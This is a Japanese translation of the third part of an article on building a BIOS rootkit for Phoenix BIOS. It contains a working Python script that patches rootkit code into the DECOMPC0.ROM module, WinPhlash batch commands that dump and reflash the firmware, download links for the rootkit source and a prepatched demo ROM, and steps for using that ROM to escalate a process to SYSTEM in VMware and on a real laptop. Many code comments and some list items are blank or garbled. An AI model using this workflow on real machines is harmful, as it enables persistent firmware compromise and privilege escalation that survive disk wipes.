BIOSベヌスのルヌトキット。パヌト3

基瀎コヌスず䞊玚コヌス「リバヌス゚ンゞニアリング」の開始前倜に䜜成された翻蚳の最終郚分を公開しおいたす。














BIOSの解凍ずパッチ



ルヌトキットをBIOSに挿入する方法がわかったので、次のステップは、実際にBIOSにルヌトキットコヌドをパッチするこずです。これを行うには、すべおのBIOSモゞュヌルを抜出し、解凍モゞュヌルにパッチを適甚しお、すべおを再構築する必芁がありたす。モゞュヌルは、phxdecoコン゜ヌルナヌティリティたたはPhoenix BIOSEditorを䜿甚しお抜出できたす。解凍モゞュヌルが抜出された埌、次のコヌドでルヌトキットをパッチしたす。



#!/usr/bin/python
import os,struct,sys
###############################################
#      BIOS -   
#  Phoenix BIOS Editor ( Windows)    ,   ,    «DECOMPC0.ROM».
#     C:\Program Files\Phoenix Bios Editor\TEMP (   )    BIOS WPH.         .
#   ,  BIOS Editor       BIOS - BIOS Editor    BIOS WPH.
#           phnxdeco.exe,       .
#  ,  NASM   ,    .
#
# INPUT:
#     ,      asm-  BIOS        .
#
# OUTPUT:
#     DECOMPC0.ROM,     ,   , ,    asm-  BIOS.
#    
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#    
shellcode = sys.argv[1].lower()
#     . NASM    ,    !
os.system('nasm %s' % shellcode)
#       
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
#     ,     0x23  ROM  .
# ROM   ,      push,     CLD.            mov.
#       ,       .
#  ,  ,   Near Call,     ROM- ,      .
#     NOP   .
minihook = '\xe8\x28\x04\x90\x90\x90'
#   ,    ,     !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
#  ROM  
decorom = open('DECOMPC0.ROM','rb').read()
#     - 0x23,    CLD

hookoffset=0x23
#     ROM ,  ,    
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#  ROM    NOP.
#    ,    ,   .
decorom+="\x90"*100+decomphook
#   10 NOP  .
decorom=decorom+'\x90'*10
#   ROM,     
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#   ROM    
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#  
print "The DECOMPC0.ROM file has now been patched."




このスクリプトの呌び出し䟋は次のずおりです。



python patchdecomp.py biosrootkit.asm




すべおが正垞に機胜する堎合は、次のようなものが衚瀺されたす。



Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.




BIOSを再構築したす



VMwareに含たれおいるものなどのプラむマリBIOSファむルの堎合、Phoenix Bios Editorに含たれおいるたたはIntelから入手可胜な倚数のコマンドラむンナヌティリティを䜿甚しお再構築できたす。その埌、実際のP​​Cでテストする堎合、BIOSをプラむマリ圢匏だけでなく保存する必芁があったため、再構築のツヌルずしおGUIバヌゞョンのPhoenix BiosEditorを䜿甚したした。残念ながら、これは、少なくずも準備されたツヌルを䜿甚せずに、システム䞊で実行しおBIOSに感染できるアプリケヌションを1぀だけ持぀こずは䞍可胜であるこずを意味したす。



これは、BIOS感染が、䞻に再組み立おなどの手動介入を必芁ずする3段階のプロセスであるこずを意味したす。 BIOSむメヌゞが開いおいるPhoenixBIOS゚ディタヌを以䞋に瀺したす。







Phoenix BIOS Editorはモゞュヌルを眮き換えるために開発されたわけではありたせんが、それでもそのような機䌚を提䟛したす。BIOSむメヌゞを初めお開くず、すべおのBIOSモゞュヌルがディスクのにあるフォルダヌに抜出されたすC:\Program Files\Phoenix BIOS Editor\TEMP\。開梱モゞュヌルは、このフォルダヌからコピヌしお修正し、亀換するこずができたす。Phoenix BIOS EditorではBIOSを倉曎せずに保存できないため、BIOSを保存するには、文字列倀を倉曎しおから元に戻す必芁がありたすたたはそのたたにしおおきたす。



BIOSルヌトキットの゜ヌスコヌドずパッチ適甚スクリプトは、すべお自分で実行したい堎合は、この蚘事の最埌にあるリンクからダりンロヌドできたす。



実際のPC



Phoenix BIOSはすべおのVMwareベヌスの蚭蚈で䜿甚されおいたため、物理PCでのテストにも遞択されたした。すべおの物理的仮想ではなくBIOSテストは、HP Pavilionze4400ラップトップを䜿甚しお実斜されたした。BIOSテストは、必芁に応じおフラッシュのためにPCのマザヌボヌドにアクセスする方がはるかに簡単であるため、圓初はラップトップではなくPCを䜿甚しお蚈画されおいたした。ずにかく、Phoenix BIOSを搭茉したPCをすばやく芋぀けるのは簡単ではなかったため、代わりにラップトップを䜿甚する必芁がありたしたBIOSに誀っお゜ヌスコヌドを曞き蟌んだ埌にラップトップをフラッシュしおくれたDavidに特に感謝したす



PCでのBIOSの抜出



実際のシステムBIOSを倉曎するための最初のステップは、そのコピヌを抜出するこずです。フェニックスには、通垞この目的のために提䟛される2぀の異なるツヌルがありたす。1぀は「Phlash16」ず呌ばれ、もう1぀は「WinPhlash」ず呌ばれたす。 Phlash16はコン゜ヌルGUIを備えたコマンドラむンナヌティリティですが、DOSからのみ実行されたす。 WinPhlashは、その名前が瀺すように、Windowsから実行されたす。これはGUIナヌティリティですが、コマンドラむンパラメヌタも受け入れるため、BIOS抜出プロセスを自動化できたす。このプロゞェクトでは、BIOSの抜出ずパッチ適甚を自動化するためにいく぀かのスクリプトを䜜成したしたが、それらはかなり原始的であたり機胜的ではありたせん。



次のバッチスクリプトは、BIOSをずいう名前のファむルにコピヌし、BIOSORIG.WPH以前に倉曎されおいるかどうかを確認したす。 PerlスクリプトCheckFlash.py BIOSの内容で私の名前をチェックするだけで、倉曎されおいないBIOSにはありたせん。



@rem    BIOS  ,     .
@rem 
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem ,   BIOS  
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH




PCでのBIOSの解凍ずパッチ



BIOSを抜出したら、次のステップはルヌトキットコヌドでパッチを適甚するこずです。これは、䞊蚘のセクションでVMwareに䜿甚したのず同じスクリプトを䜿甚しお実行できたす。このプロゞェクトの目暙は、可胜な限り䞀貫したパッチずパッチ適甚プロセスを䜜成するこずでした。これが完党に実珟可胜であり、同じタむプのBIOSで実行されおいるたったく異なるハヌドりェアに同じツヌルを䜿甚できるこずを非垞に嬉しく思いたす。



PCでBIOSを再構築する



Phoenix BIOSからモゞュヌルを抜出できる無料のツヌルがありたすが、Phoenix BiosEditorだけが通垞のPCが必芁ずする方法でモゞュヌルを組み立おおいるようです。 WinPhlashツヌルでは、BIOSで远加情報を有効にする必芁がありたす。この情報は、生のBIOSずずもにWPHファむルに保存されたす。倚くの異なるオプションをテストした埌、WPHファむルを正垞に構築する唯䞀の方法はPhoenix Bios EditorGUIを䜿甚するこずであるように芋えたす。残念ながら、これは、少なくずも提䟛されおいるツヌルを䜿甚せずに、システム䞊で実行しおBIOSに感染できるアプリケヌションを1぀だけ持぀こずは䞍可胜であるこずを意味したす。



理論的には、WPH圢匏をリバヌス゚ンゞニアリングしお、カスタムBIOS再構築ツヌルを䜜成するこずは可胜ですが、それはこのプロゞェクトの範囲倖です。代わりに、BIOSぞの感染は、䞻に再構築など、手動による介入を必芁ずする3段階のプロセスです。



VMware BIOSにパッチを適甚する堎合ず同様に、同じ手法を䜿甚しお、Phoenix BIOSEditorにパッチを適甚したモゞュヌルを再構築させるこずができたす。 BIOSむメヌゞを初めお開くず、すべおのBIOSモゞュヌルがディスクのディスクに抜出されたす。C:\Program Files\Phoenix BIOS Editor\TEMP\..。解凍モゞュヌルは、このフォルダヌからコピヌしお、パッチを適甚しお眮き換えるこずができたす。Phoenix BIOS EditorではBIOSをそのたた維持できないため、文字列倀を倉曎しおから元に戻すたたはそのたたにしおおく必芁がありたす。



BIOSの点滅



BIOSがWPHファむルに再構築された埌、次のバッチスクリプトは、新しいBIOSむメヌゞをBIOS EEPROMに移動し、倉曎を有効にするためにコンピュヌタヌを再起動したす。



@rem       "BIOSPATCHED.WPH"  BIOS   ,  .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH




ラップトップでの倉曎結果



これたでのすべおの䜜業をたずめるず、以䞋は、BIOSコヌドがラップトップに移怍された方法を瀺しおいたす䞊蚘のinfect.batスクリプトによっお開始されたした。







フラッシュが完了した埌、BIOSルヌトキットが正垞に開始され、Windowsカヌネルで起動されたした。次のスクリヌンショットは、最初は通垞のナヌザヌずしお実行され、その埌30秒埌にその特暩が昇栌されるコマンドラむンを







瀺しおいたす。これは、BIOSルヌトキットが耇数のシステムVMware、HPラップトップで実行するのに十分なポヌタブルであり、感染メカニズムが機胜的で適切に機胜したす。



このプロゞェクト甚に開発された「ルヌトキット」は、1぀の単玔なタスクのみを実行したすが、Vbootkit2゜フトりェアに関連しお述べたように、远加機胜を远加できない理由はありたせん。このプロゞェクトはPhoenixBIOSを特城ずしおおり、PhoenixBIOSず他のメヌカヌのBIOSの間には倚くの類䌌点がある可胜性がありたす。コヌドはベンダヌごずに個別に䜜成する必芁がある可胜性がありたすが、その数は倚くないため、ルヌトキットの機胜をすべおの䞀般的なベンダヌに拡匵するこずをお勧めしたす。



はじめに、眲名された曎新などの新しいBIOS機胜により、ここで説明する内容の倚くがセキュリティ䞊の脅嚁よりもはるかに少なくなるこずを指摘したした。これは確かに泚意するのは良いこずですが、「新しい」コンピュヌタよりも「叀い」コンピュヌタの方が倚いこずも芚えおおく䟡倀がありたす。したがっお、このタむプの攻撃は長い間問題になりたす。



VMwareBIOSデモず゜ヌスコヌド



以䞋の゜ヌスコヌドず改蚂されたBIOSは、抂念の蚌明ずしお提䟛されおいたす。決しお、人々がこれを悪意のある目的で䜿甚するこずを提案したのではなく、そのような攻撃が叀いBIOS構成で非垞に実行可胜であるこずを瀺したかったのです。この䜜業を珟状のたたで実行可胜なマルりェアに倉えるこずは珟実的ではないず思いたす。そのため、このコヌドをむンタヌネットに投皿しおいたす。



前のセクションで説明したように、このコヌドはほずんどのフェニックスBIOSにパッチを適甚するために機胜するはずです。パッチ適甚のスクリプトはここからダりンロヌドするこずができたす



BIOS_Based_Rootkit_Patch_Scripts.zip



ザ・BIOSルヌトキットの゜ヌスコヌドはここからダりンロヌドするこずができたす



biosrootkit.asm



あなたは必芁ずNASMを䞊蚘のスクリプト/゜ヌスコヌドを䜿甚しおいる堎合は、BIOSパッチコヌドをコンパむルしたす。NASMが正垞に機胜するには、パス倉数に远加するか、パッチスクリプトを曎新しお絶察パスを蚭定したす。アンパッカヌを完党なBIOSに戻すには、Phoenix BIOSEditorのコピヌたたは同等の無料版も必芁です。



これらすべおを自分でコンパむルするのではなく、私が入手したものをざっず芋おみたい堎合は、VMwareで䜿甚するためのパッチが適甚されたBIOSをBIOS_rootkit_demo.ROMからダりンロヌドできたす。







抂念の蚌明ずメモの䜿甚



䞊蚘のすべおの䜜業を読みたくない堎合は、それを詊す方法ずその機胜の抂芁を以䞋に瀺したす。



  • たず、BIOS_rootkit_demo.ROM䞊のリンクから画像をダりンロヌドしおください。
  • , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
  • WinXP, , , .vmx (, WindowsXP.vmx ) . , : bios440.filename = "BIOS_rootkit_demo.ROM". , BIOS_rootkit_demo.ROM , .
  • , pwn.exe (, cmd.exe).
  • 30秒埅っおから、タスクマネヌゞャヌを起動したす。これでPwn.exe、XPにログむンしたナヌザヌずしおではなく、「SYSTEM」ナヌザヌずしお実行されおいるはずです。




䞊蚘の手順は、理想的な䞖界で機胜するはずです。しかし、テストの結果、タンバリンを䜿った以䞋のダンスが明らかになりたした



  • OSの䞍安定性。アプリケヌションをロヌドするずき、たたは単に閉じるずきに、pwn.exeWindowsがBSODを発行するこずがありたす。
  • 30代の特暩゚スカレヌション時間より前にプロセスを開くず、タスクマネヌゞャヌはプロセスのナヌザヌに぀いお嘘を぀きたす。whoamiでcmdのようなものを䜿甚しお、暩限を正しく確認しおください。
  • これを実際のPCに正垞にダりンロヌドしたしたが、同じようにした堎合の結果に぀いおは責任を負いたせん。それが起こった堎合、あなたがどのようにあなたのマザヌボヌドをばかげた方法でブリックするかに぀いお聞きたいです、しかし私はおそらくあなたに結果を助けたせんご自身の責任でテストしおください




それがどのように起こるかのビデオを芋たいだけなら、コリンはそれをYouTubeに投皿したした 実際にVMwareでこれを詊すこずをお勧めしたす。ハヌドドラむブをワむプしおも䜕も解決されず、システムがただ驚いおいるこずを確認する方がはるかに楜しいです。










All Articles